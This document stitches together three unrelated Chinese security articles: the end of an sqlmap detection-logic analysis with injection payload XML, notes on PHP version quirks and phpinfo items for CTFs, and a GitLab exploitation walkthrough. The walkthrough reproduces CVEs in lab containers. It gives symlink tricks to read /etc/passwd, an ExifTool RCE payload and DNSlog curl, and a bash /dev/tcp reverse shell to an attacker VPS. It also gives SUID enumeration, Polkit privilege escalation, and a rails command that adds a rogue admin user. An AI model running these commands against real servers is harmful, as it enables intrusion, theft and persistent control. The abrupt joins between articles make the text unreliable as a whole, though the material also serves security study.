<union></union>
</response>
<details>
<dbms></dbms>
<dbms_version></dbms_version>
<os></os>
</details>
</test>
关于上面的一个 <test> 标签内的元素都是实际上包含的不只是一个 Payload 还包含
Sub-tag: <title>
Title of the test. 测试的名称，这些名称就是我们实际在测试的时候输出的日志中的内容
上图表示一个 <test> 中的 title 会被输出作为调试信息。
除非必要的子标签，笔者将会直接把标注写在下面的代码块中，
Sub-tag: <stype>
SQL injection family type. 表示注入的类型。
Valid values:
1: Boolean-based blind SQL injection
2: Error-based queries SQL injection
3: Inline queries SQL injection
4: Stacked queries SQL injection
5: Time-based blind SQL injection
6: UNION query SQL injection
Sub-tag: <level>
From which level check for this test. 测试的级别
Valid values:
1: Always (<100 requests)
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)
5: You have plenty of time (>1000 requests)
Sub-tag: <risk>
Likelihood of a payload to damage the data integrity.这个选项表明对目标数据库的损坏程度，risk 最高三级，最高等级代表对数据库可能会有危险的•操作，比如修改一些数据，插入一些数据甚至删除一些数据。
Valid values:
1: Low risk
2: Medium risk
3: High risk
Sub-tag: <clause>
In which clause the payload can work. 这个字段表明 <test> 对应的测试 Payload 适用于哪种类型的 SQL 语句。一般来说，很多语句并不一定非要特定 WHERE 位置的。
NOTE: for instance, there are some payload that do not have to be
tested as soon as it has been identified whether or not the
injection is within a WHERE clause condition.
Valid values:
0: Always
1: WHERE / HAVING
2: GROUP BY
3: ORDER BY
4: LIMIT
5: OFFSET
6: TOP
7: Table name
8: Column name
9: Pre-WHERE (non-query)
A comma separated list of these values is also possible.
在上面几个子标签中，我们经常见的就是 level/risk 一般来说，默认的 sqlmap 配置跑不出漏洞的时候，我们通常会启动更高级别
(level=5/risk=3) 的配置项来启动更多的 payload。
接下来我们再分析下面的标签
Sub-tag: <where>
Where to add our '<prefix> <payload><comment> <suffix>' string.
Valid values:
1: Append the string to the parameter original value
2: Replace the parameter original value with a negative random
integer value and append our string
3: Replace the parameter original value with our string
Sub-tag: <vector>
The payload that will be used to exploit the injection point.
这个标签只是大致说明 Payload 长什么样子，其实实际请求的 Payload 或者变形之前的 Payload 可能并不是这个 Payload，以 request 子标签中的 payload 为准。
Sub-tag: <request>
What to inject for this test.
关于发起请求的设置与配置。在这些配置中，有一些是特有的，但是有一些是必须的，例如 payload 是肯定存在的，但是 comment 是不一定有的，char 和 columns 是只有 UNION 才存在
Sub-tag: <payload>
The payload to test for. 实际测试使用的 Payload
Sub-tag: <comment>
Comment to append to the payload, before the suffix.
Sub-tag: <char> 只有 UNION 注入存在的字段
Character to use to bruteforce number of columns in UNION
query SQL injection tests.
Sub-tag: <columns> 只有 UNION 注入存在的字段
Range of columns to test for in UNION query SQL injection
tests.
Sub-tag: <response>
How to identify if the injected payload succeeded.
由于 payload 的目的不一定是相同的，所以，实际上处理请求的方法也并不是相同的，具体的处理方法步骤，在我们后续的章节中有详细的分析。
Sub-tag: <comparison>
针对布尔盲注的特有字段，表示对比和 request 中请求的结果。
Perform a request with this string as the payload and compare
the response with the <payload> response. Apply the comparison
algorithm.
NOTE: useful to test for boolean-based blind SQL injections.
Sub-tag: <grep>
针对报错型注入的特有字段，使用正则表达式去匹配结果。
Regular expression to grep for in the response body.
NOTE: useful to test for error-based SQL injection.
Sub-tag: <time>
针对时间盲注
Time in seconds to wait before the response is returned.
NOTE: useful to test for time-based blind and stacked queries
SQL injections.
Sub-tag: <union>
处理 UNION •注入的办法。
Calls unionTest() function.
NOTE: useful to test for UNION query (inband) SQL injection.
Sub-tag: <details>
Which details can be infered if the payload succeed.
如果 response 标签中的检测结果成功了，可以推断出什么结论？
Sub-tags: <dbms>
What is the database management system (e.g. MySQL).
Sub-tags: <dbms_version>
What is the database management system version (e.g. 5.0.51).
Sub-tags: <os>
What is the database management system underlying operating
system.
在初步了解了基本的 Payload 测试数据模型之后，我们接下来进行详细的检测逻辑的细节分析，因为篇幅的原因，我们暂且只针对布尔盲注和时间盲注进行分析，
### 真正的 Payload
我们在前面的介绍中发现了几个疑似 Payload 的字段，但是遗憾的是，上面的每一个 Payload 都不是真正的 Payload。实际 sqlmap
在处理的过程中，只要是从 *.xml 中加载的 Payload，都是需要经过一些随机化和预处理，这些预处理涉及到的概念如下：
1. Boundary：需要为原始 Payload 的前后添加“边界”。边界是一个神奇的东西，主要取决于当前“拼接”的 SQL 语句的上下文，常见上下文：注入位置是一个“整形”；注入位置需要单引号/双引号(‘/”)闭合边界；注入位置在一个括号语句中。
2. –tamper：Tamper 是 sqlmap 中最重要的概念之一，也是 Bypass 各种防火墙的有力的武器。在 sqlmap 中，Tamper 的处理位于我们上一篇文章中的 agent.queryPage() 中，具体位于其对 Payload 的处理。
3. “Render”：当然这一个步骤在 sqlmap 中没有明显的概念进行对应，其主要是针对 Payload 中随机化的标签进行渲染和替换，例如：[INFERENCE] 这个标签通常被替换成一个等式，这个等式用于判断结果的正负`Positive/Negative`
[RANDSTR] 会被替换成随机字符串
[RANDNUM] 与 [RANDNUMn] •会被替换成不同的数字
[SLEEPTIME] 在时间盲注中会被替换为 SLEEP 的时间
所以，实际上从 *.xml 中加载出来的 Payload 需要经过上面的处理才能真的算是处理完成。这个 Payload 才会在
agent.queryPage 的日志中输出出来，也就是我们 sqlmap -v3 选项看到的最终 Payload。
在上面的介绍中，我们又提到了一个陌生的概念，Boundary，并且做了相对简单的介绍，具体的 Boundary，我们在
{sqlmap_dir}/xml/boundaries.xml 中可以找到：
<boundary>
<level></level>
<clause></clause>
<where></where>
<ptype></ptype>
<prefix></prefix>
<suffix></suffix>
</boundary>
在具体的定义中，我们发现没见过的子标签如下：
Sub-tag: <ptype>
What is the parameter value type. 参数•类型（参数边界上下文类型）
Valid values:
1: Unescaped numeric
2: Single quoted string
3: LIKE single quoted string
4: Double quoted string
5: LIKE double quoted string
Sub-tag: <prefix>
A string to prepend to the payload.
Sub-tag: <suffix>
A string to append to the payload.
其实到现在 sqlmap 中 Payload 的结构我们就非常清楚了
<prefix> <payload><comment> <suffix>
其中 <prefix> <suffix> 来源于 boundaries.xml 中，而 <payload> <comment> 来源于本身
xml/payloads/*.xml 中的 <test> 中。在本节中都有非常详细的描述了
### 针对布尔盲注的检测
在接下来的小节中，我们将会针对几种注入进行详细分析，我们的分析依据主要是 sqlmap 设定的 Payload
的数据模型和其本身的代码。本节先针对布尔盲注进行一些详细分析。
在分析之前，我们先看一个详细的 Payload:
<test>
<title>PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)</title>
<stype>1</stype>
<level>3</level>
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
<request>
<payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
</request>
<response>
<comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
</response>
<details>
<dbms>PostgreSQL</dbms>
</details>
</test>
根据上一节介绍的子标签的特性，我们可以大致观察这个 <test> 会至少发送两个 Payload：第一个为 request 标签中的 payload
第二个为 response 标签中的 comparison 中的 Payload。
当然我们很容易想到，针对布尔盲注的检测实际上只需要检测 request.payload 和 response.comparison
这两个请求，只要这两个请求页面不相同，就可以判定是存在问题的。可是事实真的如此吗？结果当然并没有这么简单。
我们首先定义 request.payload 中的的请求为正请求 Positive，对应 response.comparison中的请求为负请求
Negative，在 sqlmap 中原处理如下：
在代码批注中我们进行详细的解释，为了让大家看得更清楚，我们把代码转变为流程图：
其中最容易被遗忘的可能并不是正负请求的对比，而是正请求与模版页面的对比，负请求与错误请求的对比和错误请求与模版页面的对比，因为广泛存在一种情况是类似文件包含模式的情况，不同的合理输入的结果有大概率不相同，且每一次输入的结果如果报错都会跳转到某一个默认页面（存在默认参数），这种情况仅仅用正负请求来区分页面不同是完全不够用的，还需要各种情形与模版页面的比较来确定。
### 针对 GREP 型（报错注入）
针对报错注入其实非常好识别，在报错注入检测的过程中，我们会发现他的 response 子标签中，包含着是 grep 子标签：
<test>
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
<request>
<payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>>= 5.7.8</dbms_version>
</details>
</test>
我们发现子标签 grep 中是正则表达式，可以直接从整个请求中通过 grep 中的正则提取出对应的内容，如果成功提取出了对应内容，则说明该参数可以进行注入。
在具体代码中，其实非常直观可以看到：
再 sqlmap 的实现中其实并不是仅仅检查页面内容就足够的，除了页面内容之外，检查如下项：
1. HTTP 的错误页面
2. Headers 中的内容
3. 重定向信息
### 针对 TIME 型（时间盲注，HeavilyQuery）
当然时间盲注我们可以很容易猜到应该怎么处理：如果发出了请求导致延迟了 X 秒，并且响应延迟的时间是我们预期的时间，那么就可以判定这个参数是一个时间注入点。
但是仅仅是这样就可以了嘛？当然我们需要了解的是 sqlmap 如何设置这个 X 作为时间点（请看下面这个函数，位于 agent.queryPage 中）：
我们发现，它里面有一个数学概念：[标准差](http://link.zhihu.com/?target=https%3A//zh.wikipedia.org/wiki/%25E6%25A8%2599%25E6%25BA%2596%25E5%25B7%25AE)
>
> 简单来说，标准差是一组数值自平均值分散开来的程度的一种测量观念。一个较大的标准差，代表大部分的数值和其平均值之间差异较大；一个较小的标准差，代表这些数值较接近平均值。例如，两组数的集合{0,
> 5, 9, 14}和{5, 6, 8, 9}其平均值都是7，但第二个集合具有较小的标准差。述“相差k个标准差”，即在 X̄ ± kS
> 的样本（Sample）范围内考量。标准差可以当作不确定性的一种测量。例如在物理科学中，做重复性测量时，测量数值集合的标准差代表这些测量的精确度。当要决定测量值是否符合预测值，测量值的标准差占有决定性重要角色：如果测量平均值与预测值相差太远（同时与标准差数值做比较），则认为测量值与预测值互相矛盾。这很容易理解，因为如果测量值都落在一定数值范围之外，可以合理推论预测值是否正确。
根据注释和批注中的解释，我们发现我们需要设定一个最小 SLEEPTIME 应该至少大于 样本内平均响应时间 + 7 * 样本标准差，这样就可以保证过滤掉
99.99% 的无延迟请求。
当然除了这一点，我们还发现
delta = threadData.lastQueryDuration - conf.timeSec
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average
delta += 0.05
return delta >= 0
这一段代码作为 mysql 的 Patch 存在 # MySQL’s SLEEP(X) lasts 0.05 seconds shorter on
average。
如果我们要自己实现时间盲注的检测的话，这一点也是必须注意和实现的。
### 针对 UNION 型（UNION Query）
UNION 注入可以说是 sqlmap 中最复杂的了，同时也是最经典的注入情形。
其实关于 UNION 注入的检测，和我们一开始学习 SQL 注入的方法是一样的，猜解列数，猜解输出点在列中位置。实际在 sqlmap
中也是按照这个来进行漏洞检测的，具体的测试方法位于：
跟入 unionTest() 中我们发现如下操作
def unionTest(comment, place, parameter, value, prefix, suffix):
"""
This method tests if the target URL is affected by an union
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
kb.technique = PAYLOAD.TECHNIQUE.UNION
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
if validPayload:
validPayload = agent.removePayloadDelimiters(validPayload)
return validPayload, vector
最核心的逻辑位于 _unionTestByCharBruteforce 中，继续跟入，我们发现其检测的大致逻辑如下：
别急，我们一步一步来分析！
### 猜列数
我相信做过渗透测试的读者基本对这个词都非常非常熟悉，如果有疑问或者不清楚的请自行百度，笔者再次不再赘述关于 SQL 注入基本流程的部分。
为什么要把一件这么简单的事情单独拿出来说呢？当然这预示着 sqlmap
并不是非常简单的在处理这一件事情，因为作为一个渗透测试人员，当然可以很容易靠肉眼分辨出很多事情，但是这些事情在计算机看来却并不是那么容易可以判断的：
1. 使用 ORDER BY 查询，直接通过与模版页面的比较来获取列数。
2. 当 ORDER BY 失效的时候，使用多次 UNION SELECT 不同列数，获取多个 Ratio，通过区分 Ratio 来区分哪一个是正确的列数。
实际在使用的过程中，ORDER BY 的核心逻辑如下，关于其中页面比较技术我们就不赘述了，不过值得一提的是 sqlmap
在猜列数的时候，使用的是二分法（笔者看了一下，二分法这部分这似乎是七年前的代码）。
除此之外呢，如果 ORDER BY 失效，将会计算至少五个（从 lowerCount 到 upperCount）Payload 为 UNION SELECT
(NULL,) * [COUNT]，的请求，这些请求的对应 RATIO（与模版页面相似度）会汇总存储在 ratios 中，同时 items 中存储 列数 和
ratio 形成的 tuple，经过一系列的算法，尽可能寻找出“与众不同（正确猜到列数）”的页面。具体的算法与批注如下：
我们发现，上面代码表达的核心思想就是 利用与模版页面比较的内容相似度寻找最最不同的那一个请求。
### 定位输出点
假如一切顺利，我们通过上面的步骤成功找到了列数，接下来就应该寻找输出点，当然输出点的寻找也是需要额外讨论的。其实基本逻辑很容易对不对？我们只需要将
UNION SELECT NULL, NULL, NULL, NULL, … 中的各种 NULL
依次替换，然后在结果中寻找被我们插入的随机的字符串，就可以很容易定位到输入出点的位置。实际上这一部分的确认逻辑是位于下图中的函数的
_unionConfirm
其中主要的逻辑是一个叫 _unionPosition
的函数，在这个函数中，负责定位输出点的位置，使用的基本方法就是我们在开头提到方法，受限于篇幅，我们就不再展开叙述了。
## 0x03 结束语
其实按笔者原计划，本系列文章并没有结束，因为还有关于 sqlmap 中其他技术没有介绍：“数据持久化”，“action() – Exploit
技术”，“常见漏洞利用分析（udf，反弹 shell 等）”。但是由于内容是在太过庞杂，笔者计划暂且搁置一下，实际上现有的文章已经足够把 sqlmap 的
SQL 注入检测最核心的也是最有意义的自动化逻辑说清楚了，我想读读者读完之后肯定会有自己的收获。
## 0x04 再见 | 社区文章 |
首先我们先谈谈
php各个版本的的差异
## php5.2以前
* __autoload()加载类文件，但只能调用一次这个函数，所以可以用spl_autoload_register()加载类
> 关于 **autoload()函数，如果定义了该函数，该代码就会被调用
> 关于spl_autoload_register()函数：注册给定的函数作为 **autoload 的实现
> 当出现未定义的类时，标准PHP库会按照注册的倒序逐个调用被注册的__autoload()函数
## php5.2
* 增加了json_encode(),json_decode()等，关于json的函数。
## php5.3
* 删除了`Register Globals`，
* 新增了[glob://](http://php.net/manual/zh/wrappers.phar.php)和[phar://](http://php.net/manual/zh/wrappers.phar.php)流包装
glob用来列目录，绕过open_baedir
phar在文件包含中可以用来绕过一些后缀的限制
* 新的全局变量 **DIR**
* 默认开启<?= $xxoo;?>，5.4也可用 //起止标签
* 增加了魔术方法 **invoke()、** callStatic()：
> **invoke():当尝试以调用函数的方式调用一个对象时，** invoke() 方法会被自动调用。
> **callStatic():在静态上下文中调用一个不可访问方法时，** callStatic() 会被调用。
>
> 具体查看：[php魔术方法](https://www.php.net/manual/zh/language.oop5.magic.php#object.invoke)
>
> * 三元操作符简写：可以省略第二部分，默认用第一部分代替
> 旧 echo $a?$a:’hello world’;
> 新 echo $a?:’hello world’;
关于一些封装协议可以参考：[浅析php文件包含及其getshell的姿势](https://xz.aliyun.com/t/5535)
## php5.4
* register_globals 和 register_long_arrays php.ini 指令被移除。
* php.ini新增[session.upload_progress.enabled](http://php.net/manual/zh/session.upload-progress.php)，默认为1，可用来文件包含
## php5.5
* 废除preg_replace的/e模式(不是移除)
当使用被弃用的 /e 修饰符时, 这个函数会转义一些字符(即：'、"、 和 NULL) 然后进行后向引用替换。
<http://php.net/manual/zh/function.preg-replace.php>
* 不再支持Windows XP
## php5.6
* 定义常量时允许使用之前定义的常量进行计算：
* 使用 ... 运算符定义变长参数函数
参考：<http://php.net/manual/zh/functions.arguments.php#functions.variable-arg-list>
## php7.0
1、十六进制字符串不再是认为是数字
2、移除asp和script php标签
<% %>
<%= %>
<script language="php"></script>
3、在后面的版本中assert变成语言结构，这将意味着很多一句话不能使用。
目前经过测试,可使用的有。
call_user_func('assert', 'phpinfo();');
## php7.1
<http://php.net/manual/zh/migration71.new-features.php>
* 废除mb_ereg_replace()和mb_eregi_replace()的Eval选项
## php7.2
* php 7.2大都是底层的更新，提高性能。没有太大常用语法层面的更新，这里就略过了
## php7.3
* 添加了 array_key_first() 和 array_key_last() 来获取数组的第一个和最后一个元素的键名
* json_decode 添加了一个常量, JSON_THROW_ON_ERROR, 如果解析失败可以抛出异常, 而不是通过之前的方法 json_last_error() 去获取
接下来我们开始谈正事ctfphpinfo中需要注意的点
> system info 详细的操作系统信息 确定window or linux
> Registered PHP Streams and filters 注册的php过滤器和流协议
> extension_dir php扩展的路径
> short_open_tag <?= 和 <? echo 等价 允许php标签为<? ?>形式
> disable_function 禁用函数
> open_basedir 将用户可操作的文件限制在某目录下
> SERVER_ADDR 真实ip
> DOCUMENT_ROOT web根目录
> _FILES["file"] 可以获取临时文件名字和路径
> session 可以查看session的相关配置
> gopher 可以实现ssrf攻击
> fastcgi 查看是否开启fastcgi和fastcgi的版本，可能导致解析漏洞、远程命令执行、任意文件读取等问题
> allow_url_include和allow_url_fopen，都可以远程包含文件
> extension_dir php扩展的路径
> asp_tags 开启后，才可以对asp标签进行解析
> magic_quotes_gpc 对字符进行转义类似addslashes()
> open_basedir 将用户可操作的文件限制在某目录下，可以绕过
> libxml 2.9以前的版本默认支持并开启了外部实体的引用，会导致XXE
> opcache
> 当开启了opcache并可以上传文件时，可以在本地生成一个与服务器文件名相同的文件，并生成缓存文件xx.php.bin。上传后恶意缓存文件会将服务器上的原文件覆盖，从而getshell。
> imap
> [CVE-2018-19518](https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md)
> session 可以看session的存储路径，session包含可以用到
> upload_tmp_dir 可以查看临时文件存放的文件夹，但是文件名是随机的
参考：[php各个版本的姿态](https://www.cnblogs.com/iamstudy/articles/study_from_php_update_log.html)
[phpinfo中值得注意的信息](https://seaii-blog.com/index.php/2017/10/25/73.html) | 社区文章 |
作者：HKEcho@深蓝实验室重保天佑战队
**前言**
GitLab 是一个用于仓库管理系统的开源项目，使用 Git 作为代码管理工具，可通过 Web
界面访问公开或私人项目。这里整理了gitlab常见的漏洞，并在整理过程中发现网上对于gitlab的后利用相关内容较少，这里进行补充。
**GitLab版本检测**
命令行：
使用如下命令可查看当前GitLab的版本：
cat /opt/gitlab/embedded/service/gitlab-rails/VERSION
Web页面：
登录后<http://ip/help或者直接访问http://ip/help。>
**1、CVE-2016-4340**
**影响版本**
Gitlab 8.7.0
Gitlab 8.6.0-8.6.7
Gitlab 8.5.0-8.5.11
Gitlab 8.4.0-8.4.9
Gitlab 8.3.0-8.3.8
Gitlab 8.2.0-8.2.4
**环境拉取**
docker pull gitlab/gitlab-ce:8.7.0-ce.0
docker run -d -p 443:443 -p 80:80 -p 222:22 --name gitlab --restart always -v /home/gitlab/config:/etc/gitlab -v /home/gitlab/logs:/var/log/gitlab -v /home/gitlab/data:/var/opt/gitlab gitlab/gitlab-ce:8.7.0-ce.0
环境搭好后需要更改密码，先创建普通用户，并登录：
**漏洞复现**
然后新建项目
抓包并查看authenticity_token的值
WmZhMvRYay9X3p27Ai%2Fu28xW5ndPsJrKVk3aCsas%2B0fUqNmligcX%2FqkzmBMSFElxjUKJRbscBcWDm3WCNG8zaw%3D%3D
把包内容全部删除
返回浏览器访问your-ip/admin/users/stop_impersonation?id=root
丢弃掉空白的包，会看到新的包
把数据包修改成post并加入post参数，最后把刚刚获取authenticity_token值替换进去。放包
POST /admin/users/stop_impersonation?id=root
. . .
_method=delete&authenticity_token=WmZhMvRYay9X3p27Ai%2Fu28xW5ndPsJrKVk3aCsas%2B0fUqNmligcX%2FqkzmBMSFElxjUKJRbscBcWDm3WCNG8zaw%3D%3D
成功获取root权限
**2、任意文件读取漏洞（CVE-2016-9086）**
在8.9版本后添加的"导出、导入项目"功能，因为没有处理好压缩包中的软连接，已登录用户可以利用这个功能读取服务器上的任意文件。
注：GitLab8.9.0-8.13.0版本的项目导入功能需要管理员开启，gitlab8.13.0版本之后所有用户都可以使用导入功能。管理员可以访问 http://domain/admin/application_settings 开启，开启之后用任意用户新建项目的时候，可以在export一项中看到。
**影响版本**
GitLab CE/EEversions 8.9、8.10、8.11、8.12 和8.13
**环境拉取**
Vulhub执行如下命令启动一个GitLab Community Server 8.13.1：
docker-compose up -d
环境运行后，访问http://192.168.235.129:8080即可查看GitLab主页，其ssh端口为10022，默认管理员账号root、密码是vulhub123456。
注意，请使用2G及以上内存的VPS或虚拟机运行该环境，实测1G内存的机器无法正常运行GitLab（运行后502错误）。
**漏洞复现**
注册并登录一个帐户：
然后单击”新建项目“页面上的“GitLab 导出”按钮：
上传文件test.tar.gz，访问文件发现被泄露：/etc/passwd
**原理分析**
一个空的项目导出后结构如下：
VERSION 的文件内容为GitLab的导出模块的版本，project.json则包含了项目的配置文件。
导入GitLab的导出文件的时候，GitLab会按照如下步骤处理：
1.服务器根据VERSION文件内容检测导出文件版本，如果版本符合，则导入。
2.服务器根据Project.json文件创建一个新的项目，并将对应的项目文件拷贝到服务器上对应的位置。
...
def check!
version = File.open(version_file, &:readline)
verify_version!(version)
rescue => e
shared.error(e)
false
end
...
def verify_version!(version)
if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
else
true
end
end
...
这里的逻辑是读取VERSION文件的第一行赋值给变量version，然后检测verison与当前版本是否相同，相同返回true，version不相同则返回错误信息(错误信息中包括变量的值).
于是漏洞发现者巧妙的使用了软链接来达到读取任意文件的目的。首先，我们给VERSION文件加上软链接并重新打包。
ln -sf /etc/passwd VERSION
tar zcf change_version.tar.gz ./
这样，读取VERSION文件的时候服务器就会根据软链接读取到/etc/passwd的第一行内容并赋值给version。但是由于version与当前版本不相同，所以会输出version的值，也就是/etc/passwd第一行的内容。
访问之前搭建好的GitLab服务器，创建一个新的项目，填写完项目名称后在一栏中选择Import project fromGitLab
，export上传我们修改后的导入包，然后就可以看到/etc/passwd文件第一行
但是，如果只读取任意文件的第一行，能做的事情还是太少了。漏洞发现者显然不满足这一结果，他继续找了下去.
读取这一配置文件的代码位于：
Project.json/lib/gitlab/import_export/project_tree_restorer.rb
中：
def restore
json = IO.read(@path)
tree_hash = ActiveSupport::JSON.decode(json)
project_members = tree_hash.delete('project_members')
ActiveRecord::Base.no_touching do
create_relations
end
rescue => e
shared.error(e)
false
end
在这里，我们可以再次使用软链接使变量获取到任意文件的内容，但是由于获取的json文件不是json格式，无法decode，导致异常抛出，最终在前端显示出任意文件的内容。添加软链接并打包:
ln -sf /etc/passwd project.json
tar zcf change_version.tar.gz ./
上传导出包，页面上显示的结果：
参考链接
<https://about.gitlab.com/releases/2016/11/02/cve-2016-9086-patches/>
<https://hackerone.com/reports/178152>
<http://paper.seebug.org/104/>
**3、任意文件读取漏洞（CVE-2020-10977）**
在Gitlab
8.5-12.9版本中，存在一处任意文件读取漏洞，攻击者可以利用该漏洞，在不需要特权的状态下，读取任意文件，造成严重信息泄露，从而导致进一步被攻击的风险。
**影响版本**
8.5 <= GitLab GitLab CE/EE <=12.9
**环境搭建**
docker run --detach --hostname 192.168.235.129 --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab --restart always --volume /root/config:/etc/gitlab --volume /root/logs:/var/log/gitlab --volume /root/data:/var/opt/gitlab gitlab/gitlab-ee:12.1.6-ee.0
将IP改为自己电脑本机IP，运行搭建成功访问即可，环境搭好后需要更改密码
在此处创建一个新的账号。
**漏洞复现**
登录gitlab,创建两个project
在project1中创建issues。
将issues move到project2中。
移动成功后，点击链接即可下载指定文件
漏洞exp
<https://blog.csdn.net/weixin_45006525/article/details/116189572>
**4、远程命令执行漏洞（CVE-2021-22205）**
11.9以后的GitLab中，因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响，攻击者可以通过一个未授权的接口上传一张恶意构造的图片，进而在GitLab服务器上执行命令。
**影响版本**
该漏洞影响以下GitLab企业版和社区版：
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
**环境拉取**
执行如下命令通过vulhub（官网地址：<https://vulhub.org/）启动一个GitLab> 13.10.1版本服务器：
docker-compose up -d
环境启动后，访问<http://your-ip:8080即可查看到GitLab的登录页面。>
**漏洞复现**
**1、简单复现**
GitLab的/uploads/user接口可以上传图片且无需认证，利用vulhub自带的poc.py脚本来测试这个漏洞：
python poc.py <http://your-ip:8080> "touch /tmp/success"
进入容器查看
docker-compose exec gitlab bash
可见touch /tmp/success已成功执行：
**2、详细分析**
获取X-CSRF-Token
GET /users/sign_in
RCE
POST /uploads/user
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
X-CSRF-Token: {{csrf-token}}
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
AT&TFORM 疍JVMDIRM .? F ?蘅?!葢N?亿堣k鍰,q領觧暯⒚"?FORM ^DJVUINFO
d INCL shared_anno.iff BG44 J 婃岜7?*? BG44 鶡BG44
FORM DJVIANTa P(metadata
(Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )
这个下图是之前做的，所以找不文件了，内容都是一样，明白POST提交的数据包是什么内容即可。
关于vulhub的poc.py脚本内容，数据也是和我们上面所发送的数据包一致：
**3、完整复现**
这里由于vulhub靶场的CVE-2021-22205靶场环境太过于局限，这里我重新拉取一个gitlab13.9的版本，操作如下：
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:13.9.1-ce.0
环境如下：
浏览器访问本机IP:80即可成功访问到gitlab界面。需要设置密码，我这里随便设了一个。
这里直接推荐Al1ex师傅的脚本（脚本原理与上面也是一样的）：
<https://github.com/Al1ex/CVE-2021-22205>
这里有三种模式:
验证模式：验证是否存在漏洞
攻击模式：可以通过-c更改命令
批量检测：若指纹识别得到多个gitlab，可以放入txt里面进行批量验证是否存在本漏洞。
这里我们先验证目标漏洞是否存在：
python CVE-2021-22205.py -v true -t <http://192.168.235.129/>
返回漏洞存在：
进一步通过DNSlog去验证：
python CVE-2021-22205.py -a true -t <http://192.168.235.129/> -c "curl
DNSlog地址"
这里最好用自己的DNSlog，如果没有的可以使用这个平台：<https://dig.pm/>
看一下结果，发现Dnslog接收到了来自目标主机的数据，说明漏洞确实存在：
反弹shell
首先在自己的VPS上监听端口
nc -lvvp 5120
python CVE-2021-22205.py -a true -t <http://192.168.235.129/> -c "echo 'bash
-i >& /dev/tcp/自己VPS的IP/5120 0>&1' > /tmp/1.sh"
python CVE-2021-22205.py -a true -t <http://192.168.235.129/> -c "chmod +x
/tmp/1.sh"
python CVE-2021-22205.py -a true -t <http://192.168.235.129/> -c "/bin/bash
/tmp/1.sh"
然后返回来看自己监听的VPS，可以看到已经得到一个shell了
4、/ **后利用** /
前面通过rce后拿到的默认是git用户，非root用户
利用方式一：提权
这里建议通过如polkit、脏牛等漏洞进行后一步提权。
这里以Polkit权限提升为例：
查看SUID可执行文件的命令：
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
Linux Polkit权限提升漏洞（CVE-2021-4034）：
通过查找是否存在/usr/bin/pkexec，来判断能否利用CVE-2021-4034提权
提权之后
方法一：添加管理员账户，登录gitlab页面。
echo
'user=User.new;user.name="test";user.username="test";user.password="echo123456";user.password_confirmation="echo123456";user.email="[email protected]";user.access_level="admin";user.confirmed_at
= Time.zone.now;user.save!' | gitlab-rails console
方法二：重置管理员密码，登录gitlab页面。
利用方式二：重置密码
如果只想要访问gitlab项目，可以参考本地修复gitlab管理员密码的方法来替换管理员密码。
先讲一下正常gitlab管理员重置密码：
1.这里网上说在强调需要root进入容器然后才能进控制台，我这边反弹的shell git用户权限也可以直接进入控制台。使用以下命令启动Ruby on
Rails控制台
gitlab-rails console -e production
2.等待一段时间，控制台加载完毕，有多种找到用户的方法，您可以搜索电子邮件或用户名。
user = User.where(id: 1).first //由于管理员用户root为第一个用户，因此用户id为1；
3.现在更改密码，注意，必须同时更改密码和password_confirmation才能使其正常工作。
user.password = '新密码'
user.password_confirmation = '新密码'
4.最后别忘了保存更改。
user.save
完整指令如下：
root@971e942b7a70:/# gitlab-rails console -e production
-------------------------------------------------------------------------------- Ruby: ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux]
GitLab: 14.3.0 (ceec8accb09) FOSS
GitLab Shell: 13.21.0
PostgreSQL: 12.7
-------------------------------------------------------------------------------- Loading production environment (Rails 6.1.3.2)
irb(main):001:0> user = User.where(id: 1).first
=> #<User id:1 @root>
irb(main):002:0> user.password = 'admin1234'
=> "admin1234"
irb(main):004:0> user.password_confirmation = 'admin1234'
=> "admin1234"
irb(main):005:0> user.save
